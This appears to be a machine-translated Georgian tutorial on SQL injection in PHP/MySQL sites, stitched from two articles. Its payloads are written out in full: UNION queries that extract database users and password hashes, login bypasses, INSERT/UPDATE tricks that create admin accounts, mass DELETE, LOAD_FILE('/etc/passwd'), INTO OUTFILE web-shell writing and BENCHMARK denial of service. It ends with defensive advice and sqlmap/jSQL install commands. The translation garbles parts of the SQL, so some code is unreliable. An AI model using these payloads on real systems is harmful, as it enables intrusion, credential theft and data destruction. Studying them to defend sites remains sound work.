Sql ინექცია. რა არის ეს? როგორ გავარკვიოთ MySQL ვერსიები

დაუდევრობა და უყურადღებობა არის კოდის დაწერის ორი მიზეზი, რომელიც დაუცველია SQL ინექციების მიმართ. მესამე მიზეზი - უცოდინრობა, უნდა წაახალისოს პროგრამისტი ცოდნის გაღრმავებაში ან თუნდაც პროფესიის შეცვლაში.

SQL ინექცია ( SQL ინექცია) - დაუცველობა რაც ხდება მონაცემთა არასაკმარისი გადამოწმებისა და დამუშავების გამო, რომლებიც გადაცემულია მომხმარებლისგან და საშუალებას გაძლევთ შეცვალოთ და შეასრულოთ მოთხოვნები SQL პროგრამის კოდით მოულოდნელი.

SQL ინექცია არის ფართოდ გავრცელებული უსაფრთხოების ხარვეზი ინტერნეტში, რომელიც ადვილად გამოიყენება სპეციალური პროგრამების გარეშე და არ საჭიროებს ფართო ტექნიკურ ცოდნას. ამ დაუცველობის გამოყენება ხსნის კარს დიდ შესაძლებლობებს, როგორიცაა:

  • მონაცემთა ქურდობა - 80%;
  • მომსახურებაზე უარის თქმა - 10 პროცენტი;
  • მონაცემთა ჩანაცვლება ან განადგურება - 2-3%;
  • სხვა შემთხვევები და განზრახვები.

ასევე არსებობს სხვადასხვა პროგრამები ვებსაიტების უსაფრთხოების შესამოწმებლად ყველა სახის JS და SQL ინექციისთვის.

დეტალური ახსნა

ამ სტატიაში შევეცდები აგიხსნათ ძირითადი რისკები, რომლებიც წარმოიქმნება MySQL მონაცემთა ბაზასთან ურთიერთობისას. სიცხადისთვის, მე მივცემ მარტივი მონაცემთა სტრუქტურის მაგალითს, რომელიც დამახასიათებელია პროექტების უმეტესობისთვის:

მონაცემთა ბაზის შექმნა `ახალი`; გამოიყენეთ `ახალი`; # # ახალი ამბების ცხრილი # CREATE TABLE `news` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) ნაგულისხმევი NULL, `თარიღი` თარიღი დრო ნაგულისხმევი NULL, `ტექსტი` ტექსტი, PRIMARY KEY (`id` )) TYPE=MyISAM; # # დაამატეთ ზოგიერთი მონაცემი # INSERT `news` SET `id`="1", `title`="first news", `date`="2005-06-25 16:50:20", `text`=" საინფორმაციო ტექსტი“; INSERT `news` SET `id`="2", `title`="მეორე სიახლე", `date`="2005-06-24 12:12:33", `text`="სატესტო სიახლე"; # # მომხმარებლის ცხრილი # CREATE TABLE `მომხმარებლები` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) ნაგულისხმევი NULL, `პაროლი` varchar(50) ნაგულისხმევი NULL, `admin` int(1) NULL DEFAULT "0", PRIMARY KEY (`id`)) TYPE=MyISAM; # # დაამატეთ რამდენიმე მომხმარებელი, ერთი ადმინისტრატორის უფლებებით, მეორე მარტივი # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1 " ; INSERT `users` SET `id`="2", `login`="user", `password`="1111", `admin`="0";

ჩვენ ვხედავთ, რომ მოთხოვნა გენერირებულია $_GET["id"] ღირებულების მიხედვით. დაუცველობის შესამოწმებლად, საკმარისია მისი შეცვლა იმ მნიშვნელობით, რამაც შეიძლება გამოიწვიოს შეცდომა SQL მოთხოვნის შესრულებაში.

რა თქმა უნდა, შეიძლება არ იყოს შეცდომის გამომავალი, მაგრამ ეს არ ნიშნავს რომ არ არის შეცდომა, შედეგად

„თქვენ გაქვთ შეცდომა SQL სინტაქსში; შეამოწმეთ სახელმძღვანელო, რომელიც შეესაბამება თქვენს MySQL სერვერის ვერსიას, რომ გამოიყენოთ სწორი სინტაქსი """ სტრიქონზე 1"-თან ახლოს.

ან შედეგი

http://test.com/index.php?id=2-1

თუ არსებობს დაუცველობა, მან უნდა გამოიწვიოს მსგავსი შედეგი

http://test.com/index.php?id=1.

მსგავსი სისუსტეები საშუალებას გაძლევთ შეცვალოთ მოთხოვნა WHERE პარამეტრის ნაწილში. პირველი, რასაც თავდამსხმელი გააკეთებს, როდესაც აღმოაჩენს ასეთი დაუცველობას, არის იმის შემოწმება, თუ რამდენი ველია გამოყენებული მოთხოვნაში. ამისათვის დაყენებულია მიზანმიმართულად არასწორი ID, რათა გამორიცხოს რეალური ინფორმაციის გამომავალი და კომბინირებულია მოთხოვნასთან იგივე რაოდენობის ცარიელი ველებით.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

"ნულის" რაოდენობა უნდა შეესაბამებოდეს მოთხოვნაში გამოყენებული ველების რაოდენობას.

თუ მოთხოვნა შეცდომას უშვებს, კიდევ ერთი ცარიელი მნიშვნელობა ემატება მანამ, სანამ შეცდომა არ გაქრება და არ დაბრუნდება შედეგი ცარიელი მონაცემებით. შემდეგი, კომბინირებული ველები იცვლება მნიშვნელობებით, რომლებიც შეიძლება ვიზუალურად შეინიშნოს გვერდზე.

Მაგალითად:

http://test.com/index.php?id=-1+UNION+SELECT+null

ახლა იმ გვერდზე, სადაც ახალი ამბების სათაური უნდა გამოჩენილიყო, გამოჩნდება qwerty.

როგორ გავარკვიოთ MySQL ვერსიები?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

როგორ აღვადგინოთ მონაცემთა ბაზის მიმდინარე მომხმარებლის შესვლა?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

რა არის გამოყენებული მონაცემთა ბაზის სახელი?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

როგორ მივიღოთ სხვა მონაცემები სხვა ცხრილებიდან?

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, `password`, null, null FROM `users` WHERE `id`="1";

ეს არის მარტივი გზა ადმინისტრატორის პაროლის ან პაროლის ჰეშის გასარკვევად. თუ ამჟამინდელ მომხმარებელს აქვს „mysql“ მონაცემთა ბაზაზე წვდომის უფლება, თავდამსხმელი მიიღებს ადმინისტრატორის პაროლის ჰეშს ოდნავი პრობლემის გარეშე.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

ახლა მისი არჩევანი მხოლოდ დროის საკითხია.

ძიება

ძიება ერთ-ერთი ყველაზე დაუცველი ადგილია, რადგან დიდი რაოდენობით შეკითხვის პარამეტრი ერთდროულად გადაიცემა. მარტივი მოთხოვნის მაგალითი, რომელიც ეძებს საკვანძო სიტყვით:

SELECT * FROM `news` WHERE `title` LIKE "%$search%" OR `text` LIKE "%$search%"

$search არის სიტყვა, რომელიც იგზავნება ფორმიდან. თავდამსხმელს შეუძლია გადასცეს $search="# ცვლადში, ახლა მოთხოვნა ასე გამოიყურება:

SELECT * FROM `news` WHERE `title` LIKE "%"#%" OR `text` LIKE "%"#%";

შესაბამისად, საკვანძო სიტყვის ძიების შედეგების ნაცვლად, ნაჩვენები იქნება ყველა მონაცემი. ეს ასევე საშუალებას გაძლევთ გამოიყენოთ ზემოთ აღწერილი შეკითხვის აგრეგაციის ფუნქცია.

ORDER პარამეტრის გამოყენებით

ხშირად შეგიძლიათ ნახოთ, რომ საძიებო პარამეტრების შეყვანისას ან ინფორმაციის ჩვენებისას ისინი მომხმარებელს საშუალებას აძლევს დაალაგოს მონაცემები გარკვეული ველების მიხედვით. დაუყოვნებლივ ვიტყვი, რომ ამ დაუცველობის გამოყენება არც თუ ისე საშიშია, რადგან ის გამოიწვევს შეცდომას მოთხოვნების გაერთიანების მცდელობისას, მაგრამ სხვა სფეროებში დაუცველობასთან ერთად, არსებობს ამ პარამეტრის კომენტარის საშიშროება.

http://test.com/index.php?sort=name

ORDER პარამეტრი იქმნება $sort ცვლადის მიხედვით

შემდეგი მოთხოვნა გენერირებული იქნება:

SELECT * FROM `news` WHERE `title` LIKE "%"/*%" OR `text` LIKE "%"/*%" ORDER BY */

ამით კომენტარს აკეთებს ერთ-ერთ პირობას და ORDER პარამეტრს

ახლა თქვენ შეგიძლიათ კვლავ დააკავშიროთ მოთხოვნა $sort=*/ UNION SELECT...

როგორც ამ პარამეტრის დაუცველობის გამოყენების ვარიანტი:

SELECT * FROM `users` ORDER BY LENGTH(პაროლი);

ის საშუალებას მოგცემთ დაალაგოთ მომხმარებლები პაროლის სიგრძის მიხედვით, იმ პირობით, რომ ის ინახება "სუფთა" სახით.

ავტორიზაცია

მოდით ახლა შევეცადოთ განვიხილოთ SQL ინექციების ვარიანტები, რომლებიც ხდება მომხმარებლის ავტორიზაციის დროს. როგორც წესი, მოთხოვნა, რომელიც ამოწმებს ავტორიზაციის მონაცემების სისწორეს, ასე გამოიყურება:

SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";

სადაც $login და $password არის ცვლადები, რომლებიც გადაეცემა ფორმიდან. ასეთი მოთხოვნა უბრუნებს მონაცემებს მომხმარებლისთვის წარმატების შემთხვევაში და ცარიელ შედეგს წარუმატებლობის შემთხვევაში. შესაბამისად, ავტორიზაციის გასავლელად, თავდამსხმელს მხოლოდ მოთხოვნის შეცვლა სჭირდება ისე, რომ მან დააბრუნოს არა-ნულოვანი შედეგი. მითითებულია შესვლა, რომელიც შეესაბამება რეალურ მომხმარებელს და პაროლის ნაცვლად, "OR "1"="1" ან რაიმე ჭეშმარიტი პირობა (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 1-სა და 3-ს შორის). შესაბამისად, მოთხოვნა წარმოიქმნება შემდეგნაირად:

SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OR "1"="1";

რაც დააბრუნებს შედეგს და შედეგად გამოიწვევს არასანქცირებული ავტორიზაციას. რა მოხდება, თუ ცხრილის პაროლები ჰეშირებულია? შემდეგ პაროლის შემოწმება უბრალოდ „გამორთულია“ კომენტარის საშუალებით, რაც მოდის „შესვლის“ შემდეგ. ფორმაში, შესვლის ნაცვლად, ენიჭება რეალური მომხმარებლის შესვლა და "# ამით კომენტარს აკეთებს პაროლის შემოწმებაზე.

SELECT * FROM `users` WHERE `login`="admin"#" AND `პაროლი`="12345"

როგორც ვარიანტი "OR `id`=2#

SELECT * FROM `users` WHERE `login`="" OR `id`=2#" AND `პაროლი`="12345"

SELECT * FROM `users` WHERE `login`="" OR `admin`="1"#" AND `პაროლი`="12345"

დიდი შეცდომაა პაროლის შემოწმება ასე:

SELECT * FROM `users` WHERE `login`="$login" AND `password` LIKE "$password"

ვინაიდან ამ შემთხვევაში პაროლი % შესაფერისია ნებისმიერი შესვლისთვის

ჩასმა და განახლება

თუმცა, მხოლოდ SELECT არ არის სუსტი წერტილი SQL-ში. INSERT და UPDATE შეიძლება იყოს არანაკლებ დაუცველი. ვთქვათ, საიტს აქვს მომხმარებლების დარეგისტრირების შესაძლებლობა. მოთხოვნა, რომელიც ამატებს ახალ მომხმარებელს:

ერთ-ერთ ველში დაუცველობა საშუალებას იძლევა მოთხოვნის შეცვლა საჭირო მონაცემებით. შესვლის ველში ვამატებთ მომხმარებელს", "პაროლს", 1)# რითაც ვამატებთ მომხმარებელს ადმინისტრატორის უფლებებით.

INSERT `users` SET `login`="user", `password`="password", `admin`="0";

დავუშვათ, რომ `admin` ველი მდებარეობს `login` ველის წინ, ამიტომ მონაცემების ჩანაცვლების ხრიკი, რომელიც მოდის `login` ველის შემდეგ არ მუშაობს. შეგახსენებთ, რომ INSERT ბრძანების სინტაქსი საშუალებას გაძლევთ დაამატოთ არა მხოლოდ ერთი, არამედ რამდენიმე ხაზი. დაუცველობის მაგალითი შესვლის ველში: $login= მომხმარებელი“, „პაროლი“), (1, „ჰაკერი“, „პაროლი“)#

ჩასმა `მომხმარებლების` SET-ში (`admin`, `login`, `პაროლი`) VALUES (0, "მომხმარებელი", "პაროლი"), (1, "ჰაკერი", "პაროლი")#", "პაროლი") ;

ამ გზით იქმნება 2 ჩანაწერი, ერთი მარტივი მომხმარებლის უფლებებით, მეორე კი სასურველი ადმინისტრატორის უფლებებით.

ანალოგიური სიტუაციაა UPDATE

დამატებითი ველების დამატება შესაცვლელად:

$login=", `პაროლი`="", `admin`="1

შემდეგ მსგავსი მოთხოვნა

განაახლეთ `მომხმარებლების` SET `login`="ჩაიდანი" WHERE `id`=2;

შეცვლილია შემდეგნაირად:

განაახლეთ `მომხმარებლების` SET `login`="", `პაროლი`="", `admin`="1" WHERE `id`=2;

Რა მოხდება? ID 2-ის მქონე მომხმარებელი შეცვლის ლოგინს და პაროლს ცარიელი მნიშვნელობებით და მიიღებს ადმინისტრატორის უფლებებს. ან იმ შემთხვევაში

$login=", `პაროლი`="" WHERE `id` =1#

ადმინისტრატორის შესვლა და პაროლი ცარიელი იქნება.

წაშლა

აქ ყველაფერი მარტივია, თქვენ ვერ შეძლებთ რაიმე მონაცემის მიღებას ან შეცვლას, მაგრამ ყოველთვის შეგიძლიათ წაშალოთ არასაჭირო მონაცემები.

$id=1 ან 1=1

წაშლა `ახალი ამბებიდან` WHERE `id`="1" ან 1=1; // ასუფთავებს ცხრილის ყველა ჩანაწერს.

1=1-ის ნაცვლად შეიძლება იყოს ზემოთ ნახსენები ნებისმიერი ჭეშმარიტი პირობა. LIMIT პარამეტრის შენახვა შესაძლებელია, რაც შეზღუდავს წაშლილი ხაზების რაოდენობას, მაგრამ არა ყოველთვის, მისი უბრალოდ კომენტარის გაკეთება შესაძლებელია.

წაშლა `ახალი ამბებიდან` WHERE `id`="1" OR 1=1# LIMIT 1;

ფაილებთან მუშაობა SQL ინექციის საშუალებით

სერიოზულად მეეჭვება, რომ ეს სადმე მოხდეს, მაგრამ სამართლიანობისთვის, ასეთი მეთოდებიც უნდა იყოს აღწერილი. როდესაც ფაილის პრივილეგიები ჩართულია, შეგიძლიათ გამოიყენოთ LOAD_FILE და OUTFILE ბრძანებები.

მათი საშიშროება შეიძლება შეფასდეს შემდეგი კითხვებიდან:

SELECT * FROM `news` WHERE `id`=-1 კავშირი აირჩიეთ null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

მაგრამ ყველა უბედურება ჯერ არ მთავრდება.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` outfile "/home/test/www/test.php";

ასე ვწერთ ფაილს, რომელიც შეიცავს PHP კოდს. მართალია, კოდის გარდა, მასში კიდევ რამდენიმე ნულოვანი ჩანაწერი იქნება, მაგრამ ეს არანაირად არ იმოქმედებს PHP კოდის შესრულებაზე. თუმცა, არსებობს რამდენიმე პირობა, რის გამოც ეს მეთოდები იმუშავებს:

  • FILE პრივილეგია ჩართულია მონაცემთა ბაზის მიმდინარე მომხმარებლისთვის;
  • ამ ფაილების წაკითხვის ან ჩაწერის უფლება ეკუთვნის მომხმარებელს, რომლის ქვეშაც მუშაობს MySQL სერვერი; ფაილის აბსოლუტური გზა;
  • ნაკლებად მნიშვნელოვანი პირობაა, რომ ფაილის ზომა უნდა იყოს max_allowed_packet-ზე ნაკლები, მაგრამ რადგან MySQL 3.23-ში პაკეტის უდიდესი ზომა შეიძლება იყოს 16 მბ, ხოლო 4.0.1 და მეტში, პაკეტის ზომა შემოიფარგლება მხოლოდ ხელმისაწვდომი მეხსიერების რაოდენობით, თეორიული მაქსიმუმ 2 გბ-მდე, ეს მდგომარეობა ჩვეულებრივ ყოველთვის ხელმისაწვდომია.

ჯადოსნური ციტატები

ჯადოსნური ციტატები შეუძლებელს ხდის SQL ინექციების გამოყენებას სიმებიანი ცვლადებში, რადგან ისინი ავტომატურად გაურბიან ყველა " და "ს, რომლებიც მოდიან $_GET და $_POST. მაგრამ ეს არ ეხება დაუცველობის გამოყენებას მთელ რიცხვში ან წილად პარამეტრებში, თუმცა გამონაკლისი რომ შეუძლებელი იქნება ". ამ შემთხვევაში char ფუნქცია ეხმარება.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS SQL ინექციის საშუალებით.

კინაღამ დამავიწყდა მეთქვა და SQL ექსპერტები დაგიდასტურებენ, რომ UNION ოპერაცია შესაძლებელია მხოლოდ MySQL >=4.0.0-ში. ადამიანებმა, რომლებსაც აქვთ პროექტები წინა ვერსიებზე, შვებით ამოისუნთქეს :) მაგრამ ყველაფერი ისეთი უსაფრთხო არ არის, როგორც ერთი შეხედვით ჩანს. თავდამსხმელის ლოგიკა ზოგჯერ ძნელი მისახვედრია. „თუ არ შემიძლია გატეხვა, მაინც ჩავარდება“, იფიქრებს ჰაკერი და აკრიფებს BENCHMARK ფუნქციას მაგალითის მოთხოვნისთვის.

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));

12-დან 15 წამამდე დამჭირდა. ნულის დამატება - 174 წამი. უბრალოდ ხელის აწევა არ შემეძლო მეტის გასაკეთებლად. რა თქმა უნდა, მძლავრ სერვერებზე ასეთი რამ გაცილებით სწრაფად გაკეთდება, მაგრამ...BENCHMARK საშუალებას გაძლევთ სათითაოდ განახორციელოთ საკუთარი თავის ინვესტიცია. Ამგვარად:

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));

ან თუნდაც ასე

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));

ხოლო ნულების რაოდენობა შემოიფარგლება მხოლოდ იმ ადამიანის „სიკეთით“, ვინც მათ აკრეფს.

მე ვფიქრობ, რომ ძალიან მძლავრი მანქანაც კი ვერ შეძლებს ადვილად გადაყლაპოს ასეთ თხოვნებს.

ქვედა ხაზი

Სულ ეს არის. ამ სტატიაში შევეცადე მაქსიმალურად გამეშუქებინა დაუცველობის ტიპები, რომლებსაც პროგრამისტები ქმნიან MySQL მონაცემთა ბაზების გამოყენებით პროგრამების შექმნისას. თუმცა, დარწმუნებული ვარ, რომ ეს არ არის სრული სია.

მნიშვნელოვანია გვახსოვდეს წესები SQL ინექციების წინააღმდეგ

  • არ ენდოთ მომხმარებლისგან მომდინარე მონაცემებს. ჩვენ არ ვსაუბრობთ მხოლოდ იმ მონაცემებზე, რომლებიც გადატანილია $_GET და $_POST მასივებში. არ დაივიწყოთ $_COOKIE და HTTP სათაურების სხვა ნაწილები. უნდა გახსოვდეთ, რომ მათი შეცვლა მარტივია.
  • თქვენ არ უნდა დაეყრდნოთ PHP „ჯადოსნური ციტატების“ ვარიანტს, რომელიც ალბათ უფრო მეტად აფერხებს, ვიდრე ეხმარება. მონაცემთა ბაზაში გადატანილი ყველა მონაცემი უნდა იყოს შეჯამებული ტიპის მიხედვით მონაცემთა ბაზის ველებით. ($id=(int)$_GET["id"]) ან დაცულია mysql_real_escape_string ან mysql_real_escape_string ფუნქციებით.
  • mysql_real_escape_string არ გადის % და _, ამიტომ არ უნდა იქნას გამოყენებული LIKE-თან ერთად.
  • თქვენ ასევე არ უნდა დაეყრდნოთ სწორად დაწერილ mod_rewrite-ს. ეს არის მხოლოდ „მოხერხებული“ URL-ების შექმნის გზები, მაგრამ რა თქმა უნდა არ არის SQL ინექციებისგან დაცვის საშუალება.
  • გამორთეთ შეცდომის შესახებ შეტყობინება.
  • ნუ დაეხმარებით ცუდ სტუმრებს. შეცდომის გამოვლენის შემთხვევაშიც კი, მის შესახებ ინფორმაციის ნაკლებობა სერიოზულად შეაფერხებს მის გამოყენებას. დაიმახსოვრეთ განსხვავება განვითარების ეტაპსა და სამუშაო პროექტს შორის. შეცდომის გამომავალიდა სხვა დეტალური ინფორმაცია - თქვენი მოკავშირე განვითარების ეტაპზე და თავდამსხმელის მოკავშირესამუშაო ვერსიაში. თქვენ ასევე არ უნდა დამალოთ ისინი HTML კოდში კომენტარებით; ყოველ 1000 ვიზიტორზე იქნება 1, ვინც მაინც იპოვის ასეთ ნივთებს.
  • გაუმკლავდეს შეცდომებს.
  • ჩაწერეთ SQL მოთხოვნების დამუშავება ისე, რომ მათ შესახებ ინფორმაცია შეინახოს ზოგიერთ ჟურნალში ან გაიგზავნოს ფოსტით.
  • არ შეინახოთ მონაცემთა ბაზაში წვდომის მონაცემები ფაილებში, რომლებიც არ არის დამუშავებული PHP-ის მიერ კოდის სახით.
  • არა მგონია, ვინმესთვის აღმოვაჩინე ამერიკა, მაგრამ ჩემი გამოცდილებიდან შემიძლია ვთქვა, რომ ეს პრაქტიკა საკმაოდ გავრცელებულია. როგორც წესი, ეს არის ფაილი გაფართოებით *.inc
  • ნუ შექმნით მონაცემთა ბაზას "სუპერ მომხმარებელი".
  • მიანიჭეთ მხოლოდ უფლებები, რომლებიც აუცილებელია კონკრეტული ამოცანების შესასრულებლად.
  • ძიებაში ღირს სიმბოლოების მინიმალური და მაქსიმალური რაოდენობის შეზღუდვა, რაც შეკითხვის პარამეტრებია.
  • პატიოსანი მომხმარებლისთვის 3-დან 60-70 სიმბოლომდე საკმარისია მათი საძიებო ინტერესების დასაკმაყოფილებლად და ამავდროულად თავიდან აიცილებთ სიტუაციებს, როდესაც საძიებო მოთხოვნა იქნება "ომი და მშვიდობა".
  • ყოველთვის შეამოწმეთ მოთხოვნის შემდეგ დაბრუნებული ჩანაწერების რაოდენობა

PHP-ში დაწერილი საიტების თითქმის 90%.არის ისეთი ლოგიკური შეცდომა, ეს განსაკუთრებით შეიძლება შეინიშნოს, როცა მოთხოვნა ხდება მომხმარებლისგან მიღებული ID-ის საფუძველზე, თუ სკრიპტს ხელით მიაწოდებთ არარსებულ ID-ს, ჩვენ ვნახავთ საკმაოდ საინტერესო შედეგებს ზოგიერთი სკრიპტის მუშაობისგან. 404-ის დაბრუნების ნაცვლად, პროგრამა საუკეთესო შემთხვევაში არაფერს გააკეთებს და გამოჩნდება ცარიელ გვერდზე.

უსაფრთხო SQL თქვენთვის.

ინტერნეტში საიტებისა და გვერდების რაოდენობა სტაბილურად იზრდება. ყველა, ვისაც შეუძლია, იღებს განვითარებას. და დამწყები ვებ პროგრამისტები ძალიან ხშირად იყენებენ სახიფათო და ძველ კოდს. და ეს ქმნის უამრავ ხარვეზს თავდამსხმელებისთვის და ჰაკერებისთვის. რასაც ისინი იყენებენ. ერთ-ერთი ყველაზე კლასიკური დაუცველობა არის SQL ინექცია.

ცოტა თეორია

ბევრმა იცის, რომ საიტებისა და სერვისების უმეტესობა ინტერნეტში იყენებს SQL მონაცემთა ბაზას მათ შესანახად. ეს არის სტრუქტურირებული შეკითხვის ენა, რომელიც საშუალებას გაძლევთ მართოთ და მართოთ მონაცემთა საწყობები. მონაცემთა ბაზის მართვის სისტემების მრავალი განსხვავებული ვერსია არსებობს – Oracle, MySQL, Postgre. სახელისა და ტიპის მიუხედავად, ისინი იყენებენ მონაცემთა მოთხოვნებს იმავე გზით. სწორედ აქ არის პოტენციური დაუცველობა. თუ დეველოპერმა ვერ შეძლო მოთხოვნის სწორად და უსაფრთხოდ დამუშავება, მაშინ თავდამსხმელს შეუძლია ისარგებლოს ამით და გამოიყენოს სპეციალური ტაქტიკა მონაცემთა ბაზაზე წვდომისთვის და იქიდან გააკონტროლოს მთელი საიტი.

ასეთი სიტუაციების თავიდან ასაცილებლად, საჭიროა კოდის სწორად ოპტიმიზაცია და ყურადღებით აკონტროლოთ რომელი მოთხოვნა რა გზით მუშავდება.

SQL ინექციების შემოწმება

ქსელში დაუცველობის არსებობის დასადგენად, არსებობს უამრავი მზა ავტომატური პროგრამული სისტემა. მაგრამ თქვენ შეგიძლიათ განახორციელოთ მარტივი შემოწმება ხელით. ამისათვის თქვენ უნდა გადახვიდეთ ერთ-ერთ საიტზე, რომელსაც იკვლევთ და სცადოთ მონაცემთა ბაზის შეცდომის გამოშვება მისამართების ზოლში. მაგალითად, სკრიპტმა ვებსაიტზე შეიძლება არ დაამუშაოს მოთხოვნები და არ შეწყვიტოს ისინი.

მაგალითად, არის some_site/index.php?id=25

უმარტივესი გზაა 25-ის შემდეგ ციტატის დადება და მოთხოვნის გაგზავნა. თუ შეცდომა არ მოხდა, მაშინ ან ყველა მოთხოვნა იფილტრება საიტზე და მუშავდება სწორად, ან მათი გამომავალი გამორთულია პარამეტრებში. თუ გვერდი გადატვირთულია პრობლემებით, ეს ნიშნავს, რომ არსებობს დაუცველობა SQL ინექციისთვის.

როდესაც ის აღმოჩენილია, შეგიძლიათ სცადოთ მისი მოშორება.

ამ დაუცველობის განსახორციელებლად საჭიროა ცოტა რამ იცოდეთ ერთ-ერთი მათგანი არის UNION. იგი აერთიანებს რამდენიმე შეკითხვის შედეგებს ერთში. ამ გზით შეგიძლიათ გამოთვალოთ ცხრილის ველების რაოდენობა. პირველი მოთხოვნის მაგალითი ასე გამოიყურება:

  • some_site/index.php?id=25 UNION SELECT 1.

უმეტეს შემთხვევაში, ასეთმა ჩანაწერმა უნდა გამოიწვიოს შეცდომა. ეს ნიშნავს, რომ ველების რაოდენობა არ არის 1-ის ტოლი. ამრიგად, 1-დან და მეტი ვარიანტების არჩევით, შეგიძლიათ დააყენოთ მათი ზუსტი რაოდენობა:

  • some_site/index.php?id=25 UNION SELECT 1,2,3,4,5,6.

ანუ, როდესაც შეცდომა ჩერდება, ეს ნიშნავს, რომ ველების რაოდენობა სწორია.

ამ პრობლემის ალტერნატიული გადაწყვეტაც არსებობს. მაგალითად, როცა ველების რაოდენობა დიდია - 30, 60 ან 100. ეს არის ბრძანება GROUP BY. ის აჯგუფებს შეკითხვის შედეგებს ზოგიერთი მახასიათებლის მიხედვით, მაგალითად id:

  • some_site/index.php?id=25 GROUP BY 5.

თუ შეცდომა არ მიიღეს, ეს ნიშნავს, რომ არის 5-ზე მეტი ველი. ამრიგად, საკმაოდ ფართო დიაპაზონის ვარიანტების ჩანაცვლებით, შეგიძლიათ გამოთვალოთ რამდენია სინამდვილეში.

ეს SQL ინექციის მაგალითი არის დამწყებთათვის, რომლებსაც სურთ საკუთარი ძალების მოსინჯვა საკუთარი ვებსაიტის შესამოწმებლად. მნიშვნელოვანია გვახსოვდეს, რომ არსებობს სისხლის სამართლის კოდექსის მუხლი სხვის საკუთრებაში არასანქცირებული წვდომის შესახებ.

ინექციების ძირითადი ტიპები

დაუცველობის განხორციელების რამდენიმე ვარიანტი არსებობს SQL ინექციის საშუალებით. ყველაზე პოპულარული მეთოდები შემდეგია:

    UNION ინექცია. ამ ტიპის მარტივი მაგალითი უკვე განვიხილეთ ზემოთ. იგი ხორციელდება შემომავალი მონაცემების შემოწმებისას შეცდომის გამო, რომელიც არანაირად არ არის გაფილტრული.

    შეცდომებზე დაფუძნებული SQL ინექცია. როგორც სახელი გვთავაზობს, ეს ტიპი ასევე იყენებს შეცდომებს სინტაქსურად არასწორი გამონათქვამების გაგზავნით. შემდეგ ხდება საპასუხო სათაურების ჩაჭრა, ანალიზი, რომელიც შემდგომში შეიძლება გამოყენებულ იქნას SQL ინექციის შესასრულებლად.

    დაწყობილი ინექცია. ეს დაუცველობა განისაზღვრება თანმიმდევრული მოთხოვნების შესრულებით. მას ახასიათებს ბოლოს ";"-ის დამატება. ეს მიდგომა ყველაზე ხშირად გამოიყენება მონაცემების წაკითხვისა და ჩაწერის განხორციელებაზე წვდომისთვის, ან ოპერაციული სისტემის ფუნქციების გასაკონტროლებლად, თუ პრივილეგიები ამის საშუალებას იძლევა.

პროგრამული სისტემები SQL მოწყვლადობის საძიებლად

ხელმისაწვდომია SQL ინექციების განსახორციელებლად, პროგრამებს ჩვეულებრივ აქვთ ორი კომპონენტი - საიტის სკანირება შესაძლო დაუცველობისთვის და მათი გამოყენება მონაცემებზე წვდომისთვის. არსებობს ასეთი კომუნალური საშუალებები თითქმის ყველა ცნობილი პლატფორმისთვის. მათი ფუნქციონირება მნიშვნელოვნად უწყობს ხელს საიტის შემოწმებას SQL ინექციით გატეხვის შესაძლებლობისთვის.

Sqlmap

ძალიან ძლიერი სკანერი, რომელიც მუშაობს ყველაზე ცნობილ DBMS-ებთან. მხარს უჭერს SQL ინექციის სხვადასხვა ტექნიკას. მას აქვს შესაძლებლობა ავტომატურად ამოიცნოს პაროლის ჰეშის ტიპი და გატეხოს იგი ლექსიკონის გამოყენებით. ასევე არის სერვერიდან ფაილების ჩამოტვირთვისა და ატვირთვის ფუნქცია.

Linux გარემოში ინსტალაცია ხორციელდება ბრძანებების გამოყენებით:

  • git კლონი https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py -- ოსტატი.

Windows-ისთვის არის ბრძანების ხაზი და გრაფიკული მომხმარებლის ინტერფეისის ვარიანტი.

jSQL ინექცია

jSQL Injection არის კროს-პლატფორმული ინსტრუმენტი SQL დაუცველობის ექსპლუატაციის შესამოწმებლად. დაწერილია Java-ში, ამიტომ სისტემაში უნდა იყოს დაინსტალირებული JRE. შეუძლია სათაურის და ქუქიების მოთხოვნების დამუშავება. აქვს მოსახერხებელი გრაფიკული ინტერფეისი.

ამ პროგრამული პაკეტის ინსტალაცია მიმდინარეობს შემდეგნაირად:

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v(1,2).(1,2)/jsql-injection-v(1,2).(1,2).jar"| head-n 1`

გაშვება ბრძანების java -jar ./jsql-injection-v*.jar გამოყენებით

იმისათვის, რომ დაიწყოთ საიტის SQL დაუცველობის შემოწმება, თქვენ უნდა შეიყვანოთ მისი მისამართი ზედა ველში. ისინი ცალკეა GET-ისთვის და POST-ისთვის. თუ შედეგი დადებითია, მარცხენა ფანჯარაში გამოჩნდება ხელმისაწვდომი ცხრილების სია. თქვენ შეგიძლიათ ნახოთ ისინი და გაიგოთ რამდენიმე კონფიდენციალური ინფორმაცია.

